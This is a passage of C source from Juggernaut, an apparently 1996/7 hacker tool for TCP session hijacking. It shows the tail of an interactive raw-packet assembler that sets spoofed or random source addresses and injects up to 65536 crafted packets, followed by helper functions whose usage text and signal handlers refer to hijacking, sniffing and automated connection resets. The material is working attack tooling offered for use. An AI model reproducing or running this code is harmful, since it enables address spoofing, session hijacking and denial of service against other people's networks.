               if(buf[0]=='q'){
                   if(packetready&0x02)packetready^=0x02;
                   rippack.ip.frag_off=0;
                   break;
               }
               if(buf[0]=='y'){
                   rippack.ip.frag_off|=htons(0x2000);
                   fflags[i++]='D';
               }
               if(!fflags[0])strcpy(fflags,"none set");
               packetready|=0x02;
               break;
           case 3:             /* Frag Offset */
               fprintf(stderr,"\nFragment Offset [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   rippack.ip.frag_off|=htons(random()&0x1fff);
                   packetready|=0x04;
                   break;
               }
               if(buf[0]=='q'||(val=atoi(buf))<0||val>8191){
                   if(packetready&0x04)packetready^=0x04;
                   rippack.ip.frag_off&=~0x3fff;
                   break;
               }
               rippack.ip.frag_off|=htons(val&0x1fff);
               packetready|=0x04;
               break;
           case 4:                     /* TTL */
               fprintf(stderr,"\nTTL (0 - 255) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   rippack.ip.ttl=random()&0xff;
                   packetready|=0x08;
                   break;
               }
               if(buf[0]=='q'||(val=atoi(buf))<0||val>255){
                   if(packetready&0x08)packetready^=0x08;
                   rippack.ip.ttl=0;
                   break;
               }
               rippack.ip.ttl=val;
               packetready|=0x08;
               break;
           case 5:                     /* Source Address */
               bzero(sip,sizeof(sip));
               fprintf(stderr,"\nSource Address [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]==0x0a||buf[0]=='q'){
                   if(packetready&0x10)packetready^=0x10;
                   rippack.ip.saddr=0;
                   break;
               }
               if(buf[0]=='r'){
                   rippack.ip.saddr=htonl(random());
                   strncpy(sip,hostLookup(rippack.ip.saddr),sizeof(sip));
                   packetready|=0x10;
                   break;
               }
               strncpy(sip,buf,sizeof(sip));
               for(i=0;i<2*MINIBUF;i++)if(!sip[i])break;
               sip[--i]=0;
               if(!(rippack.ip.saddr=nameResolve(buf))){
                   fprintf(stderr,"Cannot resolve IP address.\n");
                   fprintf(stderr,"[cr]");
                   getchar();
                   bzero(sip,sizeof(sip));
                   if(packetready&0x10)packetready^=0x10;
                   break;
               }
               packetready|=0x10;
               break;
           case 6:                     /* Destination Address */
               bzero(dip,sizeof(dip));
               fprintf(stderr,"\nDestination Address [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]==0x0a||buf[0]=='q'){
                   if(packetready&0x20)packetready^=0x20;
                   rippack.ip.daddr=0;
                   break;
               }
               if(buf[0]=='r'){
                   strncpy(dip,hostLookup(rippack.ip.daddr),sizeof(dip));
                   rippack.ip.daddr=htonl(random());
                   packetready|=0x20;
                   break;
               }
               strncpy(dip,buf,sizeof(dip));
               for(i=0;i<2*MINIBUF;i++)if(!dip[i])break;
               dip[--i]=0;
               if(!(rippack.ip.daddr=nameResolve(buf))){
                   fprintf(stderr,"Cannot resolve IP address.\n");
                   fprintf(stderr,"[cr]");
                   getchar();
                   bzero(dip,sizeof(dip));
                   if(packetready&0x20)packetready^=0x20;
                   break;
               }
               packetready|=0x20;
               break;
           case 7:                     /* Number of packets to send */
               fprintf(stderr,"\nAmount (1 - 65536) [qr] >");
               fgets(buf,sizeof(buf),stdin);
               if(buf[0]=='r'){
                   number=(random()&0xffff);
                   packetready|=0x40;
                   break;
               }
               if(buf[0]=='q'||(val=atoi(buf))<0||val>65536){
                   if(packetready&0x40)packetready^=0x40;
                   number=0;
                   break;
               }
               number=val;
               packetready|=0x40;
               break;
           case 8:                         /* Return */
               loopsentry=0;
               bzero(&rippack,sizeof(rippack));
               break;
           case 9:
               loopsentry=0;
               woe=1;
               break;
           case 10:
               if(packetready==0x7f){
                   sin.sin_family=AF_INET;
                   sin.sin_port=0;

                   rippack.ip.version=4;               /* IPv4 */
                   rippack.ip.ihl=5;                   /* This will change
                                                          if options are
                                                          present */
                   switch(transport){
                       case NOTRANSPORT:               /* IP packet only */
                           sin.sin_addr.s_addr=rippack.ip.daddr;

                           rippack.ip.protocol=IPPROTO_IP;

                           break;
                       case TCPTRANSPORT:              /* TCP */
                           sin.sin_port=tpack.tcp.source;
                           sin.sin_addr.s_addr=rippack.ip.daddr;

                           rippack.ip.protocol=IPPROTO_TCP;

                           tempBuf=(char *)malloc(PHDR+TCPHDR+BUFSIZE);
                           ppheader=(struct psuedoHeader *)tempBuf;

                           ppheader->saddr=rippack.ip.saddr;
                           ppheader->daddr=rippack.ip.daddr;
                           ppheader->prot=IPPROTO_TCP;
                           ppheader->null=0;
                           ppheader->tlen=htons(TCPHDR+BUFSIZE);

                           bcopy(&tpack,tempBuf+PHDR,PHDR+TCPHDR+BUFSIZE);
                           tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+BUFSIZE);
                           free(tempBuf);
                           bcopy((char *)&tpack,(char *)&rippack.payload,TCPHDR+BUFSIZE);

                           break;
                       case UDPTRANSPORT:              /* UDP */
                           sin.sin_port=upack.udp.source;
                           sin.sin_addr.s_addr=rippack.ip.daddr;

                           rippack.ip.protocol=IPPROTO_UDP;

                           tempBuf=(char *)malloc(PHDR+UDPHDR+BUFSIZE);
                           ppheader=(struct psuedoHeader *)tempBuf;

                           ppheader->saddr=rippack.ip.saddr;
                           ppheader->daddr=rippack.ip.daddr;
                           ppheader->prot=IPPROTO_UDP;
                           ppheader->null=0;
                           ppheader->tlen=htons(UDPHDR+BUFSIZE);

                           bcopy(&upack,tempBuf+PHDR,PHDR+UDPHDR+BUFSIZE);
                           upack.udp.check=in_cksum((unsigned short *)tempBuf,PHDR+UDPHDR+BUFSIZE);
                           free(tempBuf);
                           bcopy((char *)&upack,(char *)&rippack.payload,UDPHDR+BUFSIZE);

                           break;
                       case ICMPTRANSPORT:             /* ICMP */
                           sin.sin_addr.s_addr=rippack.ip.daddr;

                           rippack.ip.protocol=IPPROTO_ICMP;

                           break;
                       default:            /* Control should never fall here */
                           if(verbosity)perror("RIP Assembler [unknown transport]");
                           exit(1);
                   }
                   for(k=number,i=0;i<number;i++){
                       if((j=sendto(ripsock,&rippack,RIPPACKETSIZE,0,(struct sockaddr *)&sin,sizeof(sin)))<RIPPACKETSIZE){
                           fprintf(stderr,"Packet # %d: Wrote only %d bytes to raw socket\n",i,j);
                           k--;
                           if(verbosity)perror("RIP module sendto");
                       }
                   }
                   fprintf(stderr,"%d Packet(s) injected.\n",k);
                   getchar();
                   break;
               }
               continue;
           default:
               continue;
       }
   }
                                   /* NOTREACHED */
}
<-->
<++> Juggernaut/NumberOneCrush/surplus.c
/*
*
*                                  Juggernaut
*                                  Version b2
*
*                            1996/7 Guild productions
*                           daemon9[guild|phrack|r00t]
*
*                         comments to [email protected]
*
*  This coding project made possible by a grant from the Guild corporation
*
*  surplus.c - helper functions
*
*/

#include <string.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>

#define HELPFILE    "./ClothLikeGauze/.help"
#define FBUFSIZE     80
#define MINIBUF      10

extern int verbosity;


/*
*  IP address into network byte order
*/

unsigned long nameResolve(hostname)
char *hostname;
{

   struct in_addr addr;
   struct hostent *hostEnt;

   if((addr.s_addr=inet_addr(hostname))==-1){
       if(!(hostEnt=gethostbyname(hostname)))return(0);
       bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
   }
   return addr.s_addr;
}

#ifdef FASTCHECK

/*
*  Fast IP checksum routine.
*/

unsigned short in_cksum(buff,len)
unsigned char *buff;
int len;
{
   unsigned long sum = 0;
   if (len>3){
       __asm__("clc\n"
       "1:\t"
       "lodsl\n\t"
       "adcl %%eax, %%ebx\n\t"
       "loop 1b\n\t"
       "adcl $0, %%ebx\n\t"
       "movl %%ebx, %%eax\n\t"
       "shrl $16, %%eax\n\t"
       "addw %%ax, %%bx\n\t"
       "adcw $0, %%bx"
       : "=b" (sum) , "=S" (buff)
       : "0" (sum), "c" (len >> 2) ,"1" (buff)
       : "ax", "cx", "si", "bx" );
   }
   if(len&2){
       __asm__("lodsw\n\t"
       "addw %%ax, %%bx\n\t"
       "adcw $0, %%bx"
       : "=b" (sum), "=S" (buff)
       : "0" (sum), "1" (buff)
       : "bx", "ax", "si");
   }
   if(len&1){
       __asm__("lodsb\n\t"
       "movb $0, %%ah\n\t"
       "addw %%ax, %%bx\n\t"
       "adcw $0, %%bx"
       : "=b" (sum), "=S" (buff)
       : "0" (sum), "1" (buff)
       : "bx", "ax", "si");
   }
   sum =~sum;
   return(sum&0xffff);
}

#else

/*
*  IP Family checksum routine
*/

unsigned short in_cksum(ptr,nbytes)
unsigned short *ptr;
int nbytes;
{

   register long sum=0;        /* assumes long == 32 bits */
   u_short oddbyte;
   register u_short answer;    /* assumes u_short == 16 bits */

   while(nbytes>1){
       sum+=*ptr++;
       nbytes-=2;
   }
   if(nbytes==1){              /* mop up an odd byte, if necessary */
       oddbyte=0;              /* make sure top half is zero */
       *((u_char *)&oddbyte)=*(u_char *)ptr;   /* one byte only */
       sum+=oddbyte;
   }
   sum+=(sum>>16);             /* add carry */
   answer=~sum;                /* ones-complement, then truncate to 16 bits */
   return(answer);
}

#endif

/*
*  Network byte order into IP address
*/

char *hostLookup(in)
unsigned long in;
{

   #define BUFSIZE         256

   char hostname[BUFSIZE]={0};
   struct in_addr addr;
#ifdef USENAME
   struct hostent *hostEnt;
#endif

   addr.s_addr=in;

#ifdef USENAME
   hostEnt=gethostbyaddr((char *)&addr,sizeof(struct in_addr),AF_INET);
   if(!hostEnt)
#endif

       strcpy(hostname,inet_ntoa(addr));           /* KLUDGEY. */

#ifdef USENAME
   else strcpy(hostname,hostEnt->h_name);
#endif
   return(strdup(hostname));
}

/*
*  Simple daemonizing procedure.
*/

int shadow(void){

   int fd,pid;
   extern int errno;

   signal(SIGTTOU,SIG_IGN);    /* Ignore these signals */
   signal(SIGTTIN,SIG_IGN);
   signal(SIGTSTP,SIG_IGN);

   switch((pid=fork())){
       case 0:                 /* Child */
           break;
       default:
           exit(0);            /* Parent */
       case -1:
           fprintf(stderr,"Forking Error\n");
           exit(1);
   }
   setpgrp();
   if((fd=open("/dev/tty",O_RDWR))>=0){
       ioctl(fd,TIOCNOTTY,(char *)NULL);
       close(fd);
   }
   errno=0;
   chdir("/");
   umask(0);
   return(pid);
}


/*
*  Keeps processes from zombiing on us...
*/

static void reaper(signo)
int signo;
{
   pid_t pid;
   int sys;

   pid=wait(&sys);
   signal(SIGCHLD,reaper);
   return;
}


/*
*  Dump usage and exit.
*/

void usage(nomenclature)
char *nomenclature;
{
   fprintf(stderr,"\n\nUsage:\t%s [-h] [-s TOKEN [-e xx] ] [-v] [-t xx]\n\n
   -h terse help
   -H expanded help for those 'specially challanged' people...
   -s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing
   -e enticement factor (defaults to 16)
   -v decrease verbosity (don't do this)
   -V version information
   -t xx network read timeout in seconds (defaults to 10)
   Invoked without arguments, Juggernaut starts in `normal` mode.\n\n",nomenclature);
   exit(0);
}


/*
*  Simple file pager.
*/

void bookworm(){

   FILE *fp;
   char tempBuf[FBUFSIZE],buf[MINIBUF];
   int i=0;

   if(!(fp=fopen(HELPFILE,"r"))){
       if(verbosity){
           fprintf(stderr,"Cannot open help file.\n");
           fprintf(stderr,"[cr]");
           getchar();
           return;
       }
   }
   while(fgets(tempBuf,FBUFSIZE-1,fp)){
       fprintf(stderr,tempBuf);
       if(i==24){
           fprintf(stderr,"\n[cr,q] >");
           bzero(&buf,sizeof(buf));
           fgets(buf,sizeof(buf-1),stdin);
           if(buf[0]=='q')break;
           i=0;
       }
       else i++;
   }
}


/*
*  Main signal handler to facilitate clean exits.
*/

void twitch(){

   void cleanexit();

   if(verbosity)fprintf(stderr,"\nCaught signal, exiting cleanly.\n");
   signal(SIGINT,SIG_DFL);
   signal(SIGQUIT,SIG_DFL);
   cleanexit();
}


/*
*  Used as a catchall to cleanly exit proccesses
*/

void spasm(){

   extern int linksock;

   if(linksock)close(linksock);        /* Hunter should have this... */
   exit(0);
}


/*
*  Spy signal handler.
*/

void convulsion(){

   void twitch();

   extern int sigsentry;

   if(verbosity)fprintf(stderr,"\nCaught signal.\n");
   fprintf(stderr,"[cr]");
   getchar();
   signal(SIGINT,twitch);
   sigsentry=0;
}


/*
*  Pre-hijacking signal handler.
*/

void sputter(){

   void twitch();

   extern int sigsentry;

   if(verbosity)fprintf(stderr,"\nCaught prehijack signal.\n");
   signal(SIGINT,twitch);
   sigsentry=0;
}


/*
*  Post-hijacking signal handler.
*/

void seizure(){

   void twitch();

   extern int sigsentry;

   if(verbosity)fprintf(stderr,"\nCaught posthijack signal.\n");
   sigsentry=0;
   signal(SIGINT,twitch);
}

/*
*  Exit Cleanly.
*/

void cleanexit(){

   void powerdown();

   extern int ripsock;
   extern int hpid;
   extern int acrstpid;

   close(ripsock);
   powerdown();
   if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
       perror("(cleanexit) Could not signal hunter");
       fprintf(stderr,"[cr]");
       getchar();
   }
   if(acrstpid)    /* Send signal to the automated connection reset daemon.
                      XXX - This only signals one daemon!  If more exist,
                      they will be left stranded! */
       if(kill(acrstpid,SIGUSR1))if(verbosity){
       perror("(cleanexit) Could not signal ACRSTD");
       fprintf(stderr,"[cr]");
       getchar();
       }
   fprintf(stderr,"Juggernaut is a Guild Corporation production, (c) 1996/7.\n\n");
   exit(0);
}

<-->

EOF